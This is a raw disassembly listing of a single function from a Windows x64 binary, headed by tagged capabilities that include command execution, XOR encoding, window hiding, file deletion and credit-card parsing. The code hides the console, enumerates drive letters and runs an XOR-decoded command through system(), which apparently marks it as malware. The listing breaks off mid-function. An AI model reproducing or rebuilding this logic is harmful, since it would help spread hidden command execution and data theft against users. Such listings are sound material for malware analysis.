Function at 0x140006530
Capabilities:
Delete file
Encode data using xor
Execute command
Hide graphical window
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x32e0]
mov eax, 0x33e0
call fcn.1400825c0
sub rsp, rax
movaps xmmword [rsp + 0x33d0], xmm6
movaps xmmword [rsp + 0x33c0], xmm7
movaps xmmword [rsp + 0x33b0], xmm8
mov rax, qword [0x1400a60a0]
xor rax, rsp
mov qword [rbp + 0x32a0], rax
xor esi, esi
xorps xmm0, xmm0
movups xmmword [rbp + 0x3200], xmm0
mov qword [rbp + 0x3210], 0xa
mov qword [rbp + 0x3218], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.e_38_5_54m]
movsd qword [rbp + 0x3200], xmm0
movzx eax, word [0x1400959b8]
mov word [rbp + 0x3208], ax
mov byte [rbp + 0x320a], sil
mov dword [rsp + 0x4c], 0x50
mov dword [rsp + 0x50], reloc.WS2_32.dll_recv
mov dword [rsp + 0x54], 0x41
mov dword [rsp + 0x48], 0x736c63
lea rcx, [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rbx, [rbp + 0x3200]
cmp qword [rbp + 0x3218], 0x10
cmovae rbx, qword [rbp + 0x3200]
lea rcx, [rbp + 0x3200]
cmovae rcx, qword [rbp + 0x3200]
mov rdi, qword [rbp + 0x3210]
add rdi, rcx
cmp rbx, rdi
je 0x140006662
nop
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001dff0
lea rdx, [0x14001e1c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140006630
xor eax, eax
mov qword [rbp + 0x1e70], rax
movdqa xmm0, xmmword [0x140098bf0]
movdqu xmmword [rbp + 0x1e78], xmm0
mov dword [rbp + 0x1e88], Ordinal_50
mov dword [rbp + 0x1e8c], 0x63
mov dword [rbp + 0x1e90], 0x41
lea rcx, [rbp + 0x1e70]
call fcn.14001cc90
mov rdx, rax
lea rcx, [rbp + 0x1c0]
call fcn.140002ca0
nop
lea rbx, [rbp + 0x1c0]
mov r8, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
cmovae rbx, r8
lea rdi, [rbp + 0x1c0]
cmovae rdi, r8
add rdi, qword [rbp + 0x1d0]
cmp rbx, rdi
je 0x140006730
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001dff0
lea rdx, [0x14001e1c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x1400066f0
mov rdx, qword [rbp + 0x1d8]
mov r8, qword [rbp + 0x1c0]
cmp rdx, 0x10
jb 0x140006766
inc rdx
mov rax, r8
cmp rdx, 0x1000
jb 0x14000675e
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400069ba
mov rcx, r8
call fcn.1400818ec
movdqa xmm0, xmmword [0x140098ab0]
movdqu xmmword [rbp + 0x1d0], xmm0
mov byte [rbp + 0x1c0], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], 4
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov dword [rbp - 0x10], 0x6d305b1b
mov byte [rbp - 0xc], 0
lea rbx, [rbp - 0x10]
lea rdi, [rbp - 0xc]
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001dff0
lea rdx, [0x14001e1c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x1400067b0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000681d
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006818
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400069ba
call fcn.1400818ec
mov qword [rbp], rsi
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x10], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x28f0], xmm0
movups xmmword [rbp + 0x2900], xmm0
mov dword [rbp + 0x2910], eax
mov word [rbp + 0x2914], ax
mov dword [rbp + 0x2918], 0x52
mov dword [rbp + 0x291c], reloc.WS2_32.dll_sendto
movdqa xmm0, xmmword [0x140098da0]
movdqu xmmword [rbp + 0x2920], xmm0
movdqa xmm1, xmmword [0x140098db0]
movdqu xmmword [rbp + 0x2930], xmm1
movdqa xmm0, xmmword [0x140098e00]
movdqu xmmword [rbp + 0x2940], xmm0
movdqa xmm1, xmmword [0x140098ba0]
movdqu xmmword [rbp + 0x2950], xmm1
movdqa xmm0, xmmword [0x140098c60]
movdqu xmmword [rbp + 0x2960], xmm0
movdqa xmm1, xmmword [0x140098cd0]
movdqu xmmword [rbp + 0x2970], xmm1
movdqa xmm0, xmmword [0x140098d10]
movdqu xmmword [rbp + 0x2980], xmm0
movdqa xmm1, xmmword [0x140098af0]
movdqu xmmword [rbp + 0x2990], xmm1
mov dword [rbp + 0x29a0], Ordinal_35
mov dword [rbp + 0x29a4], 6
mov dword [rbp + 0x29a8], 6
lea rcx, [rbp + 0x28f0]
call fcn.14001c2e0
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.140002ca0
nop
lea rbx, [rbp + 0x1a0]
mov r8, qword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
cmovae rbx, r8
lea rdi, [rbp + 0x1a0]
cmovae rdi, r8
add rdi, qword [rbp + 0x1b0]
cmp rbx, rdi
je 0x140006990
nop
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001dff0
lea rdx, [0x14001e1c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140006950
mov rdx, qword [rbp + 0x1b8]
mov r8, qword [rbp + 0x1a0]
cmp rdx, 0x10
jb 0x1400069c9
inc rdx
mov rax, r8
cmp rdx, 0x1000
jb 0x1400069c1
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400069c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.1400818ec
movdqa xmm0, xmmword [0x140098ab0]
movdqu xmmword [rbp + 0x1b0], xmm0
mov byte [rbp + 0x1a0], 0
lea rbx, [rbp + 0x3200]
cmp qword [rbp + 0x3218], 0x10
cmovae rbx, qword [rbp + 0x3200]
lea rcx, [rbp + 0x3200]
cmovae rcx, qword [rbp + 0x3200]
mov rdi, qword [rbp + 0x3210]
add rdi, rcx
cmp rbx, rdi
je 0x140006a52
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001dff0
lea rdx, [0x14001e1c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140006a20
lea rdx, [0x140095ac0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400032b0
lea rdx, [0x140003480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400959f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r12, rax
lea rdx, [rbp + 0x3288]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx r13d, word [rbp + 0x3290]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3220], xmm1
mov ecx, 0x60
call fcn.1400818b0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x3220], rax
lea rcx, [rbp + 0x25f0]
call fcn.1400055d0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], 2
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov eax, 0x3a43
mov word [rbp + 0x30], ax
mov byte [rbp + 0x32], 0
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x2ac0]
lea rcx, [rbp + 0x3220]
call fcn.14001e4b0
mov rbx, qword [rax]
add rbx, 0x40
cmp rbx, rdi
je 0x140006bba
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140006b8e
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140006b89
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006bf3
mov rcx, r8
call fcn.1400818ec
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
movups xmm0, xmmword [rdi]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140006bff
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006bfa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006bfa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400818ec
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x2608]
cmp rdx, 0x10
jb 0x140006c50
inc rdx
mov rcx, qword [rbp + 0x25f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015e0e
call fcn.1400818ec
movdqa xmm0, xmmword [0x140098ab0]
movdqu xmmword [rbp + 0x2600], xmm0
mov byte [rbp + 0x25f0], 0
lea rcx, [rbp + 0x2590]
call fcn.1400055d0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], 2
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov eax, 0x3a44
mov word [rbp + 0x50], ax
mov byte [rbp + 0x52], 0
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x2ad0]
lea rcx, [rbp + 0x3220]
call fcn.14001e4b0
mov rbx, qword [rax]
add rbx, 0x40
cmp rbx, rdi
je 0x140006d1f
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140006cf3
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140006cee
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006d58
mov rcx, r8
call fcn.1400818ec
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
movups xmm0, xmmword [rdi]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140006d64
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d5f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400818ec
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x25a8]
cmp rdx, 0x10
jb 0x140006db5
inc rdx
mov rcx, qword [rbp + 0x2590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006db0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015e0e
call fcn.1400818ec
movdqa xmm0, xmmword [0x140098ab0]
movdqu xmmword [rbp + 0x25a0], xmm0
mov byte [rbp + 0x2590], 0
lea rcx, [rbp + 0x2570]
call fcn.1400055d0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], 2
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
mov eax, 0x3a45
mov word [rbp + 0x70], ax
mov byte [rbp + 0x72], 0
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x2ab0]
lea rcx, [rbp + 0x3220]
call fcn.14001e4b0
mov rbx, qword [rax]
add rbx, 0x40
cmp rbx, rdi
je 0x140006e8a
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140006e5e
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140006e59
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006ec6
mov rcx, r8
call fcn.1400818ec
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
movups xmm0, xmmword [rdi]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x140006ed2
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ecd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006ecd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400818ec
xor edi, edi
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x70], dil
mov rdx, qword [rbp + 0x2588]
cmp rdx, 0x10
jb 0x140006f2b
inc rdx
mov rcx, qword [rbp + 0x2570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015e0e
call fcn.1400818ec
movdqa xmm0, xmmword [0x140098ab0]
movdqu xmmword [rbp + 0x2580], xmm0
mov byte [rbp + 0x2570], 0
mov rbx, qword [rbp + 0x3220]
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
jne 0x1400070cb
nop word [rax + rax]
lea rdi, [rbx + 0x20]
xor eax, eax
mov qword [rbp + 0x1f30], rax
movdqa xmm0, xmmword [0x140098e70]
movdqu xmmword [rbp + 0x1f38], xmm0
mov dword [rbp + 0x1f48], reloc.WLDAP32.dll_Ordinal_41
mov dword [rbp + 0x1f4c], Ordinal_60
mov dword [rbp + 0x1f50], 6
lea rcx, [rbp + 0x1f30]
call fcn.14001c100
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400032b0
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140006fc3
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.1400035c0
mov r10, rax
xor eax, eax
mov qword [rbp + 0x2780], rax
mov dword [rbp + 0x2788], eax
mov word [rbp + 0x278c], ax
movdqa xmm0, xmmword [0x140098c80]
movdqu xmmword [rbp + 0x2790], xmm0
movdqa xmm1, xmmword [0x140098e50]
movdqu xmmword [rbp + 0x27a0], xmm1
movdqa xmm0, xmmword [0x140098cb0]
movdqu xmmword [rbp + 0x27b0], xmm0
mov dword [rbp + 0x27c0], Ordinal_79
lea rcx, [rbp + 0x2780]
call fcn.14001bd70
add rdi, 0x20
mov rdx, rax
mov rcx, r10
call fcn.1400032b0
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x14000704b
mov rdi, qword [rdi]
mov rdx, rdi
mov rcx, rax
call fcn.1400035c0
lea rdx, [0x140003480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
je 0x140007098
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x140007093
nop word [rax + rax]
cmp rbx, qword [rax + 0x10]
jne 0x140007093
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x140007080
mov rbx, rax
jmp 0x1400070bf
mov rbx, rax
mov rcx, qword [rax]
cmp byte [rcx + 0x19], 0
jne 0x1400070bf
nop dword [rax]
nop dword [rax + rax]
mov rbx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x1400070b0
cmp byte [rbx + 0x19], 0
je 0x140006f60
xor edi, edi
movups xmm0, xmmword [0x140096f10]
movups xmmword [rbp + 0x2690], xmm0
movups xmm0, xmmword [0x140096f30]
movups xmm1, xmmword [0x140096f20]
movups xmmword [rbp + 0x26b0], xmm0
movups xmmword [rbp + 0x26a0], xmm1
movups xmm0, xmmword [0x140096f50]
movups xmm1, xmmword [0x140096f40]
movups xmmword [rbp + 0x26d0], xmm0
movups xmmword [rbp + 0x26c0], xmm1
movups xmm0, xmmword [0x140096f70]
movups xmm1, xmmword [0x140096f60]
movups xmmword [rbp + 0x26f0], xmm0
movups xmmword [rbp + 0x26e0], xmm1
movsd xmm0, qword [0x140096f90]
movups xmm1, xmmword [0x140096f80]
movsd qword [rbp + 0x2710], xmm0
movups xmmword [rbp + 0x2700], xmm1
mov eax, 5
lea ecx, [rax + 0x1a]
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp r14d, 2
jl 0x1400072a9
movdqa xmm5, xmmword [0x140098ad0]
mov edx, edi
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, eax
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, ecx
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2694]
mov r8d, dword [rsp + 0x30]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x1400071a1
jmp 0x1400072f6
lea r9, [rbp + 0x2690]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x1400072c0
lea rcx, [rbp + 0x2690]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3230], xmm0
mov qword [rbp + 0x3240], rax
lea rcx, [rbp + 0x3230]
call fcn.140005b40
nop
mov rsi, qword [rbp + 0x3230]
mov r15, qword [rbp + 0x3238]
cmp rsi, r15
je 0x14000774d
lea rbx, [0x140095b18]
lea rcx, [rbp + 0x3268]
call fcn.140005c90
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
mov r8d, 2
cmp qword [rsi + 0x10], r8
cmovb r8, qword [rsi + 0x10]
mov rdx, rsi
cmp qword [rsi + 0x18], 8
jb 0x14000737c
mov rdx, qword [rsi]
lea rcx, [rsp + 0x58]
call fcn.14001e880
nop
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 0x18
jb 0x140007443
lea rax, [rcx + 0x18]
mov qword [rsp + 0x68], rax
lea rdi, [rsp + 0x58]
cmp rdx, 8
cmovae rdi, qword [rsp + 0x58]
lea r8, [rcx + rcx]
lea rax, [0x140095b48]
cmp rax, rdi
jbe 0x1400073ed
lea rax, [rdi + r8]
cmp rbx, rax
ja 0x1400073ed
cmp rdi, rbx
ja 0x1400073db
xor ebx, ebx
jmp 0x1400073f2
mov rbx, rdi
lea rax, [0x140095b18]
sub rbx, rax
sar rbx, 1
jmp 0x1400073f2
mov ebx, Ordinal_27
lea rcx, [rdi + 0x30]
add r8, 2
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
add rbx, rbx
mov r8, rbx
lea rdx, [0x140095b18]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, Ordinal_50
sub r8, rbx
lea rdx, [0x140095b48]
add rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x58]
xor edi, edi
lea rbx, [0x140095b18]
jmp 0x14000745b
mov qword [rsp + 0x28], Ordinal_27
mov edx, Ordinal_27
lea rcx, [rsp + 0x58]
call fcn.14001ff20
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xc8], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov r8d, 1
lea rdx, [0x140095b14]
lea rcx, [rbp + 0xb0]
call fcn.14001d630
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
lea rdx, [rbp + 0x3268]
cmp qword [rbp + 0x3280], 8
cmovae rdx, qword [rbp + 0x3268]
mov r8, qword [rbp + 0x3278]
lea rcx, [rbp + 0x90]
call fcn.14001d630
xorps xmm0, xmm0
movups xmmword [rbp + 0x3248], xmm0
mov qword [rbp + 0x3258], rdi
mov qword [rbp + 0x3260], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3248], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3258], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rbp + 0xa8]
cmp rdx, 8
jb 0x140007598
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007593
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400093b8
call fcn.1400818ec
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], 7
mov word [rbp + 0x90], di
mov rdx, qword [rbp + 0xc8]
cmp rdx, 8
jb 0x1400075f7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400075f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400093bf
call fcn.1400818ec
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xc8], 7
mov word [rbp + 0xb0], di
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140007652
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000764d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
